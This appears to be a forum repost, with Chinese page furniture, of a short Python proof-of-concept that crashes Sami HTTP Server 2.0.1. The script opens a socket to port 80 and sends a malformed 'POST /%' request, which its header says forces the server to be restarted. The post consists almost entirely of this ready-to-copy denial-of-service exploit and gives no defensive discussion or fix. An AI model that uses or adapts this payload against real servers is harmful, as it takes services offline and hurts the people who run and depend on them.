发新话题
打印

Sami HTTP Server 2.0.1 POST Request Denial of Service Exploit

Sami HTTP Server 2.0.1 POST Request Denial of Service Exploit

复制内容到剪贴板
代码:
# usr/bin/python

import socket

print
"-------------------------------------------------------------------------"
print " Sami HTTP Server 2.0.1 POST request Denial of Service"
print " url: [url]http://www.karjasoft.com[/url]"
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: [url]http://shinnai.altervista.org[/url]"
print " Sending to the webserver a 'POST /%' will cause an abnormal
termination"
print " of the program that requires the reboot of the webserver."
print
"-------------------------------------------------------------------------"

try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  conn = s.connect(("127.0.0.1",80))
  s.send("POST /% HTTP/1.0 \n\n")
except:
  print "Unable to connect. exiting."

TOP

发新话题